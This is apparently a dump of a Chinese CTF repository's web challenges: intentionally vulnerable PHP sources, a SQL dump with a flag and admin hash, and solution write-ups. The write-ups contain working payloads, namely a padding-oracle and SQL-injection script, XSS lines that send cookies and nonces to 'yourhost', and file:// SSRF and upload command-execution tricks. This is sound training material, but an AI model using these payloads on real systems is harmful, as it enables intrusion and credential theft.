    background: -webkit-radial-gradient(0% 100%, ellipse cover, rgba(104,128,138,.4) 10%,rgba(138,114,76,0) 40%), linear-gradient(to bottom,  rgba(57,173,219,.25) 0%,rgba(42,60,87,.4) 100%), linear-gradient(135deg,  #670d10 0%,#092756 100%);
    filter: progid:DXImageTransform.Microsoft.gradient( startColorstr=\'#3E1D6D\', endColorstr=\'#092756\',GradientType=1 );
}
.login { 
    position: absolute;
    top: 50%;
    left: 50%;
    margin: -150px 0 0 -150px;
    width:300px;
    height:300px;
}
.login h1 { color: #fff; text-shadow: 0 0 10px rgba(0,0,0,0.3); letter-spacing:1px; text-align:center; }

input { 
    width: 100%; 
    margin-bottom: 10px; 
    background: rgba(0,0,0,0.3);
    border: none;
    outline: none;
    padding: 10px;
    font-size: 13px;
    color: #fff;
    text-shadow: 1px 1px 1px rgba(0,0,0,0.3);
    border: 1px solid rgba(0,0,0,0.3);
    border-radius: 4px;
    box-shadow: inset 0 -5px 45px rgba(100,100,100,0.2), 0 1px 1px rgba(255,255,255,0.2);
    -webkit-transition: box-shadow .5s ease;
    -moz-transition: box-shadow .5s ease;
    -o-transition: box-shadow .5s ease;
    -ms-transition: box-shadow .5s ease;
    transition: box-shadow .5s ease;
}
input:focus { box-shadow: inset 0 -5px 45px rgba(100,100,100,0.4), 0 1px 1px rgba(255,255,255,0.2); }

================================================
FILE: src/web/simple-blog/src/index.php
================================================
<!DOCTYPE html>
<html>
<head>
   <meta charset="utf-8"> 
   <title>My blog</title>
   <link href="css/bootstrap.min.css" rel="stylesheet">
   <script src="js/jquery.min.js"></script>
   <script src="js/bootstrap.min.js"></script>
</head>
<body>
   <nav class="navbar navbar-default" role="navigation">
   <div class="navbar-header">
      <a class="navbar-brand" href="#">BLOG</a>
   </div>
   <div>
      <ul class="nav navbar-nav">
         <li class="active"><a href="#">HOME</a></li>
         <li><a href="#">ABOUTME</a></li>
         <li class="dropdown">
            <a href="#" class="dropdown-toggle" data-toggle="dropdown">
               LINK
               <b class="caret"></b>
            </a>
            <ul class="dropdown-menu">
               <li><a href="#">XDSEC</a></li>
               <li><a href="http://l-team.org/">L-team</a></li>
            </ul>
         </li>
      </ul>
   </div></nav>
   <div class="panel panel-success">
   <div class="panel-heading">
      <h3 class="panel-title">Hello,world!</h3>
   </div>
   <div class="panel-body">
      终于写好了自己的博客,开心~<br>
      这次不用开源的了,那些黑客肯定日不进来。<br>
      <img src='img/1.jpg' class="img-responsive" alt='樱木雏子'/>
   </div>
   </div>
   <div class="panel panel-danger">
   <div class="panel-heading">
      <h3 class="panel-title">什么辣鸡博客</h3>
   </div>
   <div class="panel-body">
   	打脸博主,3分钟就日穿了<br>
      Fxxked by godpan.
   </div>
   </div>
</body>
</html>


================================================
FILE: src/web/simple-blog/src/login.php
================================================
<?php
error_reporting(0);
session_start();
define("METHOD", "aes-128-cbc");
include('config.php');

function show_page(){
    echo '<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>Login Form</title>
  <link rel="stylesheet" type="text/css" href="css/login.css" />
</head>
<body>
  <div class="login">
    <h1>后台登录</h1>
    <form method="post">
        <input type="text" name="username" placeholder="Username" required="required" />
        <input type="password" name="password" placeholder="Password" required="required" />
        <button type="submit" class="btn btn-primary btn-block btn-large">Login</button>
    </form>
</div>
</body>
</html>
';
}

function get_random_token(){
    $random_token = '';
    $str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
    for($i = 0; $i < 16; $i++){
        $random_token .= substr($str, rand(1, 61), 1);
    }
    return $random_token;
}

function get_identity(){
	global $id;
    $token = get_random_token();
    $c = openssl_encrypt($id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
    $_SESSION['id'] = base64_encode($c);
    setcookie("token", base64_encode($token));
    if($id === 'admin'){
    	$_SESSION['isadmin'] = 1;
    }else{
    	$_SESSION['isadmin'] = 0;
    }
}

function test_identity(){
    if (isset($_SESSION['id'])) {
        $c = base64_decode($_SESSION['id']);
        $token = base64_decode($_COOKIE["token"]);
        if($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)){
            if ($u === 'admin') {
                $_SESSION['isadmin'] = 1;
                return 1;
            }
        }else{
            die("Error!");
        } 
    }
    return 0;
}

if(isset($_POST['username'])&&isset($_POST['password'])){
	$username = mysql_real_escape_string($_POST['username']);
	$password = $_POST['password'];
	$result = mysql_query("select password from users where username='" . $username . "'", $con);
	$row = mysql_fetch_array($result);
	if($row['password'] === md5($password)){
  		get_identity();
  		header('location: ./admin.php');
  	}else{
  		die('Login failed.');
  	}
}else{
	if(test_identity()){
        header('location: ./admin.php');
	}else{
        show_page();
    }
}
?>


================================================
FILE: src/web/simple-blog/src/web1.sql
================================================
-- MySQL dump 10.13  Distrib 5.5.53, for Win32 (AMD64)
--
-- Host: localhost    Database: web1
-- ------------------------------------------------------
-- Server version	5.5.53

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;

--
-- Table structure for table `article`
--

DROP TABLE IF EXISTS `article`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `article` (
  `id` varchar(5) DEFAULT NULL,
  `title` varchar(25) DEFAULT NULL,
  `content` varchar(25) DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `article`
--

LOCK TABLES `article` WRITE;
/*!40000 ALTER TABLE `article` DISABLE KEYS */;
INSERT INTO `article` VALUES ('1','Welcome to myblog','I wish you a good time.'),('2','Hello,world!','Hello,world!'),('3','This is admin page','Do not do bad things.');
/*!40000 ALTER TABLE `article` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `key`
--

DROP TABLE IF EXISTS `key`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `key` (
  `f14g` varchar(100) DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `key`
--

LOCK TABLES `key` WRITE;
/*!40000 ALTER TABLE `key` DISABLE KEYS */;
INSERT INTO `key` VALUES ('LCTF{H0ly_Sh1t}');
/*!40000 ALTER TABLE `key` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `users`
--

DROP TABLE IF EXISTS `users`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `users` (
  `id` varchar(5) DEFAULT NULL,
  `username` varchar(15) DEFAULT NULL,
  `password` varchar(32) DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `users`
--

LOCK TABLES `users` WRITE;
/*!40000 ALTER TABLE `users` DISABLE KEYS */;
INSERT INTO `users` VALUES ('1','admin','21232f297a57a5a743894a0e4a801fc3');
/*!40000 ALTER TABLE `users` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;

-- Dump completed on 2017-10-28 17:06:32


================================================
FILE: src/web/simple-blog/web-f1sh-writeup.md
================================================
### WriteUp

进入题目后可以知道这是一个博客系统,那猜测应该会有后台,扫一下目录或者猜一下可以知道存在`login.php, admin.php`两个文件,访问`admin.php`可以发现有权限控制,访问`login.php`是一个登录界面。

通过尝试可以发现如果随便输入账号密码的话页面返回是`Login failed.`,但是账号密码都输入`admin`的话会跳转到`admin.php`,猜测这里应该是弱口令,只是除了密码以外还有其他的验证方式。

如果扫描字典够强大的话可以扫到`login.php, admin.php`都存在备份文件:`.login.php.swp, .admin.php.swp`

下载备份文件`.login.php.swp`得到源码,源码关键的部分:

```
function get_identity(){
	global $id;
    $token = get_random_token();
    $c = openssl_encrypt($id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
    $_SESSION['id'] = base64_encode($c);
    setcookie("token", base64_encode($token));
    if($id==='admin'){
    	$_SESSION['isadmin'] = 1;
    }else{
    	$_SESSION['isadmin'] = 0;
    }
}

function test_identity(){
    if (isset($_SESSION['id'])) {
        $c = base64_decode($_SESSION['id']);
        $token = base64_decode($_COOKIE["token"]);
        if($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)){
            if ($u === 'admin') {
                $_SESSION['isadmin'] = 1;
                return 1;
            }
        }else{
            die("Error!");
        } 
    }
    return 0;
}
```
可以看到在session中也做了身份验证,但是由于加密模式是`aes-128-cbc`,且`$token`在cookie里,可控,所以这里可以进行**Pading Oracle Attack**,通过修改`$token`可以把`$_SESSION['isadmin']`改为1(如果不清楚**Pading Oracle Attack**的原理的话可以看一下我写过的一篇[博客](http://f1sh.site/2017/08/04/%E5%88%9D%E5%AD%A6padding-oracle-attack/)),这样就成功登录进了`admin.php`。

通过下载`.admin.php.swp`可以得到`admin.php`的源码,发现里面存在数据库操作
```
if(isset($_GET['id'])){
	$id = mysql_real_escape_string($_GET['id']);
	if(isset($_GET['title'])){
		$title = mysql_real_escape_string($_GET['title']);
		$title = sprintf("AND title='%s'", $title);
	}else{
		$title = '';
	}
	$sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);
	$result = mysql_query($sql,$con);
	$row = mysql_fetch_array($result);
	if(isset($row['title'])&&isset($row['content'])){
		echo "<h1>".$row['title']."</h1><br>".$row['content'];
		die();
	}else{
		die("This article does not exist.");
	}
```
乍看之下似乎有`mysql_real_escape_string()`所以无法进行注入,但实际上这里可以利用PHP格式化字符串的漏洞。

在PHP的`sprintf`这个函数中`%\`会被当成一个格式化字符串,如图
![](https://i.imgur.com/cSXxM1a.jpg)
可以看到`%\`和`%y`一样被当做了一个不存在的类型的格式化字符串,所以输出为空

所以利用这个原理,我们可以传入`title=%' or 1#`,此时因为`mysql_real_escape_string()`的存在单引号前会被加上一个`\`,那么最后拼接到语句里就是
```
sprintf("SELECT * FROM article WHERE id='%s' AND title='%\' or 1#'", $id);
```
这样`%`就会吃掉后面的`\`组成一个格式化字符串,单引号就成功逃逸了出来。

但是只是这样的话还是会报错参数不足,因为这条代码里有两个格式化字符串但是只有一个参数。不过PHP的格式化字符串还有另一种表示方法`%1$s`,其中`%`后面的数字就表示引用第几个参数,`$`后面是格式化字符串的类型,如图
![](https://i.imgur.com/zIM5IBA.jpg)

所以我们传入`title=%1$' or 1#`,经过转义最后拼接到语句里就是
```
sprintf("SELECT * FROM article WHERE id='%s' AND title='%1$\' or 1#'", $id);
```
这样title那里引用的也是第一个参数`$id`,就不会报参数不足的错了

具体的原理可以看[这篇文章](https://paper.seebug.org/386/)

所以最终SQL注入的payload就是:`?id=0&title=%251%24'%20union%20select%201%2C2%2C3%23`

整个题目可由一个脚本跑出最终flag:
```
#-*- coding:utf-8 -*-

import requests
import base64

url = 'http://111.231.111.54/login.php'
N = 16

def inject_token(token):
    cookie = {"token": token}
    result = s.get(url, cookies = cookie)
    return result

def xor(a, b):
    return "".join([chr(ord(a[i]) ^ ord(b[i%len(b)])) for i in xrange(len(a))])

def pad(string, N):
    l = len(string)
    if l != N:
        return string + chr(N-l) * (N-l)

def padding_oracle(N):
    get = ""
    for i in xrange(1, N):
        for j in xrange(0, 256):
            padding = xor(get, chr(i) * (i - 1))
            c=chr(0) * (16 - i) + chr(j) + padding
            print c.encode('hex')
            result = inject_token(base64.b64encode(c))
            if "<html>" in result.content:
                print result.content
                get = chr(j^i) + get
                break
    return get

data={'username': "admin", 'password': 'admin'}
while 1:
    s = requests.session()
    cookies = s.post(url, data = data, allow_redirects = False).headers['Set-Cookie'].split(',') #获得session和token
    session = cookies[0].split(";")[0][10:]
    token = cookies[1][6:].replace("%3D",'=').replace("%2F",'/').replace("%2B",'+').decode('base64')
    middle1 = padding_oracle(N)
    print "\n"
    if(len(middle1) + 1 == 16):
        for i in xrange(0, 256):
            middle = chr(i) + middle1   #padding_oracle只能得到15位,爆破第一位
            print "session: " + session
            print "token: " + token
            print "middle: " + base64.b64encode(middle)
            plaintext = xor(middle, token);
            print "plaintext: " + plaintext
            des = pad('admin', N)
            tmp = ""
            print "padtext: " + base64.b64encode(des)
            for i in xrange(16):
                tmp += chr(ord(token[i]) ^ ord(plaintext[i]) ^ ord(des[i]))
            print "inject_token: " + base64.b64encode(tmp)
            result = inject_token(base64.b64encode(tmp))
            if "css/login.css" not in result.content:
                #payload = "%1$' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#"  #注表名
                #payload = "%1$' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x4b4559#"    #注列名
                payload = "%1$' union select 1,2,f14g from `key`#" #注字段
                params = {'id': '0', 'title': payload}
                r = s.get("http://111.231.111.54/admin.php", params = params)
                print r.content
                print "success"
                exit()
```
注入时也有一个小坑,`key`这个表名是MYSQL保留字,我们把它当做表名带入查询时必须用反引号包起来,不然就会报语法错误而返回不了我们想要的结果。


================================================
FILE: src/web/wanna-hack-him/src/admin_view.php
================================================
<?php
error_reporting(0);
session_start();
if(!$_COOKIE['yesiamadmin001'])
{
	exit('access denied');
}
if(!$_SESSION['nonce'])
{
	$_SESSION['nonce']=md5(rand(10000000,99999999));
}
$nonce=$_SESSION['nonce'];
?>
<html>
<meta http-equiv="Content-Security-Policy" content="script-src 'nonce-<?=$nonce;?>';">
<?php echo file_get_contents('loghehehaha.txt');?>
<p>comment here</p>
<script nonce="<?=$nonce;?>">var test='test';</script>
<p>welcome to comment on admin's blog</p>
</html>

================================================
FILE: src/web/wanna-hack-him/src/index.php
================================================
<center>
<title>hello hacker hack him</title>
<form id="form1" action="preview.php" method="post" class="">
<h1>wanna hack him?
<span>Leave your message here!</span>
</h1>
<textarea name="content"></textarea>
<label>
</form>
<br>
<button onclick="form1.submit();">preview</button> <button onclick="form1.action='submit.php';form1.submit();">submit</button>
</center>

================================================
FILE: src/web/wanna-hack-him/src/loghehehaha.txt
================================================
test

================================================
FILE: src/web/wanna-hack-him/src/preview.php
================================================
<?php
error_reporting(0);
session_start();
header("X-XSS-Protection:0");
if(!$_SESSION['nonce'])
{
	$_SESSION['nonce']=md5(rand(10000000,99999999));
}
$nonce=$_SESSION['nonce'];
?>
<html>
<meta http-equiv="Content-Security-Policy" content="script-src 'nonce-<?=$nonce;?>';">
<?php echo $_POST['content'];?>
<p>comment here</p>
<script nonce="<?=$nonce;?>">var test='test';</script>
<p>welcome to comment on admin's blog</p>
</html>

================================================
FILE: src/web/wanna-hack-him/src/submit.php
================================================
<?php
error_reporting(0);
file_put_contents('loghehehaha.txt',$_POST['content']);
echo 'submit success :) good luck';
?>

================================================
FILE: src/web/wanna-hack-him/wanna hack him-WP.md
================================================
## wanna hack him?

这题有两种解法。

### 解法一

利用`dangling markup attack`。传入一个未闭合的标签,来把后面内容通过请求直接发出去,因为bot的版本是Chrome60所以可以直接用一个比较常见的payload

```
<img src='http://yourhost/?key=
```

这样因为`<img>`标签里的`src`未闭合所以会把后面的html代码也当做`src`属性的一部分直到遇到下一个单引号,所以我们可以拿到管理员的`nonce`
![](https://i.imgur.com/vwf5JNV.png)

拿到nonce后就是常规XSS操作了。

### 解法二

因为这题的`nonce`是根据`session`生成的,所以我们可以用`<meta>`标签来`Set-Cookie`,把bot的`PHPSESSID`设置成我们的,这样bot的`nonce`就和我们的一样。可以通过`preview.php`拿到我们的`nonce`。

payload:
```
<meta http-equiv="Set-Cookie" content="PHPSESSID=yoursession; path=/">
<script nonce="yournonce">(new Image()).src='http://yourhost/?cookie='+escape(document.cookie)</script>
```

![](https://i.imgur.com/sjLglKQ.png)

关注我blog接下来的详细分析: http://math1as.com/


================================================
FILE: src/web/他们有什么秘密呢/他们有什么秘密呢_ writeup.md
================================================
## 他们有什么秘密呢? writeup

题目由两部分组成,第一部分是一个sqli,第二部分是一个文件上传+命令执行

### 第一部分

第一个入口

http://182.254.246.93/entrance.php

id=3时,product name = nextentrance,再结合源代码里面的提示,可以得出,我们的目的是得到整个表的信息~

这里基本没有过滤,但是不能使用information_schema表,也就无从获取表名和字段信息了,当然,不会是爆破。

此外,可以发现开启了报错,所以我们可以用一些小技巧,来查出表名,字段名。

mysql很灵活,这里有多种解法的。

#### 获取数据库名

根据mysql的特性,用一个不存在的自定义函数,就可以爆出数据库名

pro_id=a()

得到数据库名 youcanneverfindme17

#### 获取表名

有一篇文章提到过,当开启报错时,polygon函数可以用来获取当前表名和其字段名,不过这里我将polygon过滤掉了,

前往

>https://dev.mysql.com/doc/refman/5.5/en/func-op-summary-ref.html 

把这几百个函数用正则处理下来,然后fuzz,会发现还有其它函数可以用


>multiPolygon(id)
>multilinestring(id)
>linestring(id)
>GeometryCollection(id)
>MultiPoint(id)
>polugon(id)

我这里过滤的时候,专门漏了linestring,用它爆出当前表名

pro_id=1 and linestring(pro_id)

#### 获取字段名

接下来就是需要得到表product_2017ctf的字段名了

开启了报错,所以这里可以使用using+join的方法来获取,

```
pro_id=1 union select * from (select * from product_2017ctf as A join product_2017ctf as B using(pro_id)) as C
```

得到字段名:pro_id pro_name owner d067a0fa9dc61a6e

#### 获取表内容

理论上用联合查询就可以查出来了,不过这里我把最后一个字段名过滤了,

所以要在不出现字段名的情况下查出内容,将一个虚拟表和当前表联合起来即可

pro_id=-1 union select 1,a.4,3,4 from (select 1,2,3,4 from dual union select * from product_2017ctf)a limit 3,1; 

得到关键内容:7195ca99696b5a896.php


根据tip,结合一下,得到下一关入口:

d067a0fa9dc61a6e7195ca99696b5a896.php


其实这里方法是很多的,使用移位注入和比较注入同样可以查出表内容,都不需要用到字段名~

### 第二部分

上传后缀和内容都没有限制,只有一个长度的限制,还是挺简单的

创建z.php

<?=`*`;

创建bash 内容任意

创建bash2 存放要执行的命令

由于每个人的上传目录下有一个index.html,所以先要把它删掉

所以第一次执行z.php时,bash2文件内容为:

>rm i*

第二次执行z.php时,bash2文件的内容为:

>ls /

因为长度的限制,所以flag的位置肯定在根目录下的,

cat /3*

得到flag

这个是最简单的方法,也可以用wget写一个shell到目录下~


================================================
FILE: src/web/签到题/src/test.php
================================================
<?php 
if(!$_GET['site']){ 
	echo <<<EOF 
<html> 
<body> 
look source code: 
<form action='' method='GET'> 
<input type='submit' name='submit' /> 
<input type='text' name='site' style="width:1000px" value="https://www.baidu.com"/> 
</form>
</body>
</html> 
EOF; 
	die(); 
}

$url = $_GET['site']; 
$url_schema = parse_url($url); 
$host = $url_schema['host']; 
$request_url = $url."/"; 

if ($host !== 'www.baidu.com'){ 
	die("wrong site"); 
}

$ci = curl_init();
curl_setopt($ci, CURLOPT_URL, $request_url);
curl_setopt($ci, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ci);
curl_close($ci);

if($res){ 
	echo "<h1>Source Code:</h1>"; 
	echo $request_url; 
	echo "<hr />"; 
	echo htmlentities($res); 
}else{ 
	echo "get source failed"; 
} 

?>

================================================
FILE: src/web/签到题/web签到题.md
================================================
# web签到题

题目不难, 一共就只有几个点

- 用file协议读取本地文件
- 绕过逻辑中对host的检查, curl是支持file://host/path, file://path这两种形式, 但是即使有host, curl仍然会访问到本地的文件
- 截断url后面拼接的/, GET请求, 用?#都可以

payload其实很简单: `file://www.baidu.com/etc/flag?`

```php
<?php 
if(!$_GET['site']){ 
	echo <<<EOF 
<html> 
<body> 
look source code: 
<form action='' method='GET'> 
<input type='submit' name='submit' /> 
<input type='text' name='site' style="width:1000px" value="https://www.baidu.com"/> 
</form>
</body>
</html> 
EOF; 
	die(); 
}

$url = $_GET['site']; 
$url_schema = parse_url($url); 
$host = $url_schema['host']; 
$request_url = $url."/"; 

if ($host !== 'www.baidu.com'){ 
	die("wrong site"); 
}

$ci = curl_init();
curl_setopt($ci, CURLOPT_URL, $request_url);
curl_setopt($ci, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ci);
curl_close($ci);

if($res){ 
	echo "<h1>Source Code:</h1>"; 
	echo $request_url; 
	echo "<hr />"; 
	echo htmlentities($res); 
}else{ 
	echo "get source failed"; 
} 

?>
```



================================================
FILE: src/web/萌萌哒的报名系统/.idea/modules.xml
================================================
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
  <component name="ProjectModuleManager">
    <modules>
      <module fileurl="file://$PROJECT_DIR$/.idea/test.iml" filepath="$PROJECT_DIR$/.idea/test.iml" />
    </modules>
  </component>
</project>

================================================
FILE: src/web/萌萌哒的报名系统/.idea/test.iml
================================================
<?xml version="1.0" encoding="UTF-8"?>
<module type="WEB_MODULE" version="4">
  <component name="NewModuleRootManager">
    <content url="file://$MODULE_DIR$" />
    <orderEntry type="inheritedJdk" />
    <orderEntry type="sourceFolder" forTests="false" />
  </component>
</module>

================================================
FILE: src/web/萌萌哒的报名系统/.idea/workspace.xml
================================================
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
  <component name="ChangeListManager">
    <list default="true" id="dd4a7f75-f9cd-4dc9-88e5-04d7adeed296" name="Default" comment="" />
    <option name="EXCLUDED_CONVERTED_TO_IGNORED" value="true" />
    <option name="TRACKING_ENABLED" value="true" />
    <option name="SHOW_DIALOG" value="false" />
    <option name="HIGHLIGHT_CONFLICTS" value="true" />
    <option name="HIGHLIGHT_NON_ACTIVE_CHANGELIST" value="false" />
    <option name="LAST_RESOLUTION" value="IGNORE" />
  </component>
  <component name="ExecutionTargetManager" SELECTED_TARGET="default_target" />
  <component name="FileEditorManager">
    <leaf SIDE_TABS_SIZE_LIMIT_KEY="375">
      <file leaf-file-name="login.php" pinned="false" current-in-tab="false">
        <entry file="file://$PROJECT_DIR$/login.php">
          <provider selected="true" editor-type-id="text-editor">
            <state relative-caret-position="598">
              <caret line="24" column="35" lean-forward="false" selection-start-line="24" selection-start-column="35" selection-end-line="24" selection-end-column="35" />
              <folding>
                <marker date="1510846020335" expanded="true" signature="579:632" ph="SELECT passw... users" />
              </folding>
            </state>
          </provider>
        </entry>
      </file>
      <file leaf-file-name="config.php" pinned="false" current-in-tab="false">
        <entry file="file://$PROJECT_DIR$/config.php">
          <provider selected="true" editor-type-id="text-editor">
            <state relative-caret-position="0">
              <caret line="0" column="0" lean-forward="false" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
              <folding />
            </state>
          </provider>
        </entry>
      </file>
      <file leaf-file-name="member.php" pinned="false" current-in-tab="false">
        <entry file="file://$PROJECT_DIR$/member.php">
          <provider selected="true" editor-type-id="text-editor">
            <state relative-caret-position="0">
              <caret line="0" column="0" lean-forward="false" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
              <folding>
                <marker date="1510815227725" expanded="true" signature="317:375" ph="SELECT ident... " />
              </folding>
            </state>
          </provider>
        </entry>
      </file>
      <file leaf-file-name="register.php" pinned="false" current-in-tab="true">
        <entry file="file://$PROJECT_DIR$/register.php">
          <provider selected="true" editor-type-id="text-editor">
            <state relative-caret-position="0">
              <caret line="0" column="0" lean-forward="false" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
              <folding>
                <marker date="1510816374400" expanded="true" signature="726:779" ph="SELECT usern... users" />
                <marker date="1510816374400" expanded="true" signature="943:1011" ph="INSERT INTO users... " />
                <marker date="1510816374400" expanded="true" signature="1240:1313" ph="INSERT INTO identities... " />
                <marker date="1510816374400" expanded="true" signature="1439:1510" ph="INSERT INTO identities... " />
              </folding>
            </state>
          </provider>
        </entry>
      </file>
    </leaf>
  </component>
  <component name="IdeDocumentHistory">
    <option name="CHANGED_PATHS">
      <list>
        <option value="$PROJECT_DIR$/login.php" />
      </list>
    </option>
  </component>
  <component name="JsBuildToolGruntFileManager" detection-done="true" sorting="DEFINITION_ORDER" />
  <component name="JsBuildToolPackageJson" detection-done="true" sorting="DEFINITION_ORDER" />
  <component name="JsGulpfileManager">
    <detection-done>true</detection-done>
    <sorting>DEFINITION_ORDER</sorting>
  </component>
  <component name="PhpWorkspaceProjectConfiguration" backward_compatibility_performed="true" />
  <component name="ProjectFrameBounds">
    <option name="x" value="-9" />
    <option name="y" value="-9" />
    <option name="width" value="1938" />
    <option name="height" value="1048" />
  </component>
  <component name="ProjectView">
    <navigator currentView="ProjectPane" proportions="" version="1">
      <flattenPackages />
      <showMembers />
      <showModules />
      <showLibraryContents />
      <hideEmptyPackages />
      <abbreviatePackageNames />
      <autoscrollToSource />
      <autoscrollFromSource />
      <sortByType />
      <manualOrder />
      <foldersAlwaysOnTop value="true" />
    </navigator>
    <panes>
      <pane id="ProjectPane">
        <subPane>
          <PATH>
            <PATH_ELEMENT>
              <option name="myItemId" value="test" />
              <option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.ProjectViewProjectNode" />
            </PATH_ELEMENT>
            <PATH_ELEMENT>
              <option name="myItemId" value="test" />
              <option name="myItemType" value="com.jetbrains.php.projectView.PhpTreeStructureProvider$1" />
            </PATH_ELEMENT>
          </PATH>
        </subPane>
      </pane>
      <pane id="Scratches" />
      <pane id="Scope" />
    </panes>
  </component>
  <component name="PropertiesComponent">
    <property name="settings.editor.selected.configurable" value="configurable.group.build" />
    <property name="WebServerToolWindowFactoryState" value="false" />
    <property name="last_opened_file_path" value="$PROJECT_DIR$" />
  </component>
  <component name="RunDashboard">
    <option name="ruleStates">
      <list>
        <RuleState>
          <option name="name" value="ConfigurationTypeDashboardGroupingRule" />
        </RuleState>
        <RuleState>
          <option name="name" value="StatusDashboardGroupingRule" />
        </RuleState>
      </list>
    </option>
  </component>
  <component name="ShelveChangesManager" show_recycled="false">
    <option name="remove_strategy" value="false" />
  </component>
  <component name="TaskManager">
    <task active="true" id="Default" summary="Default task">
      <changelist id="dd4a7f75-f9cd-4dc9-88e5-04d7adeed296" name="Default" comment="" />
      <created>1510845253596</created>
      <option name="number" value="Default" />
      <option name="presentableId" value="Default" />
      <updated>1510845253596</updated>
      <workItem from="1510845254881" duration="499000" />
      <workItem from="1510845755843" duration="157000" />
      <workItem from="1510845914243" duration="125000" />
      <workItem from="1510846041029" duration="208000" />
    </task>
    <servers />
  </component>
  <component name="TimeTrackingManager">
    <option name="totallyTimeSpent" value="989000" />
  </component>
  <component name="ToolWindowManager">
    <frame x="-9" y="-9" width="1938" height="1048" extended-state="0" />
    <layout>
      <window_info id="Project" active="true" anchor="left" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="true" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="0" side_tool="false" content_ui="combo" />
      <window_info id="TODO" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="6" side_tool="false" content_ui="tabs" />
      <window_info id="Event Log" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="7" side_tool="true" content_ui="tabs" />
      <window_info id="Database" active="false" anchor="right" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="3" side_tool="false" content_ui="tabs" />
      <window_info id="Run" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="2" side_tool="false" content_ui="tabs" />
      <window_info id="Version Control" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="false" weight="0.33" sideWeight="0.5" order="7" side_tool="false" content_ui="tabs" />
      <window_info id="Structure" active="false" anchor="left" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="1" side_tool="false" content_ui="tabs" />
      <window_info id="Terminal" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="7" side_tool="false" content_ui="tabs" />
      <window_info id="Debug" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.4" sideWeight="0.5" order="3" side_tool="false" content_ui="tabs" />
      <window_info id="Favorites" active="false" anchor="left" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="2" side_tool="true" content_ui="tabs" />
